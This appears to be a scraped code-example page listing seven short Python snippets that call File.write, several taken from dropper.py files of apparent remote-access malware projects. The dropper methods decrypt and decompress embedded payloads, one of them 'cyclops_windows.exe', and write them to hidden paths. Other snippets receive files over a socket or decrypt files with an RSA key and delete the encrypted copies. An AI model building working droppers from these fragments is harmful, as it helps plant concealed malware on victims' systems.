예제 #1
0
파일: dropper.py 프로젝트: yuhisern7/Thor
    def unpack(self):
        self.path = Finder.find() + self.name if self.hide else self.name
        print('Path1:', self.path)

        # Payload
        data = zlib.decompress(CryptoAES.decrypt(self.binary, self.key))
        File.write(self.path, data)
예제 #2
0
    def write_template(self, template, py_temp, _dict):
        data = ''
        for _data in File.read(template, False):
            data += _data

        File.write(py_temp, self.replace(data, _dict))
        self.compile_file(py_temp)
예제 #3
0
 def recv(self):
     if self.socket_obj() == -1:
         return -1
     try:
         started = time()
         file_name, data = self.recv_file()
         chdir(self.home)
         File.write(file_name, data)
         self.display('Time-elapsed: {}(sec)'.format(time() - started))
     except:
         pass
     finally:
         self.close()
예제 #4
0
파일: dropper.py 프로젝트: 5l1v3r1/Loki-1
    def unpack(self):
        self.path = Finder.find() + self.name if self.hide else self.name
        print('Path1:', self.path)

        # Payload
        data = zlib.decompress(CryptoAES.decrypt(self.binary, self.key))
        File.write(self.path, data)

        # Cyclops
        path = os.path.join(os.path.split(self.path)[0], 'cyclops_windows.exe')
        print('Path2:', path)

        data = zlib.decompress(CryptoAES.decrypt(self.cyclops, self.key))
        File.write(path, data)
예제 #5
0
    def _decrypt_file(self, file):

        new_file_path = os.path.splitext(file)[0]

        try:
            with open(new_file_path, 'wb') as f:
                for data in File.write(file, self.RSA_private_key):
                    f.write(data)

            # delete the encrypted file
            os.remove(file)
        except:
            pass
        finally:
            with self.active_threads_lock:
                self.active_threads -= 1
예제 #6
0
 def unpack(self):
     from lib.file import File
     from lib.pathfinder import Finder
     self.path = Finder.find() + self.name if self.hide else self.name
     print('Path:', self.path)
     File.write(self.path, self.binary)
예제 #7
0
파일: dropper.py 프로젝트: hmz777/Loki
 def unpack(self):
     self.path = Finder.find() + self.name if self.hide else self.name
     print('Path:', self.path)
     data = zlib.decompress(CryptoAES.decrypt(self.binary, self.key))
     File.write(self.path, data)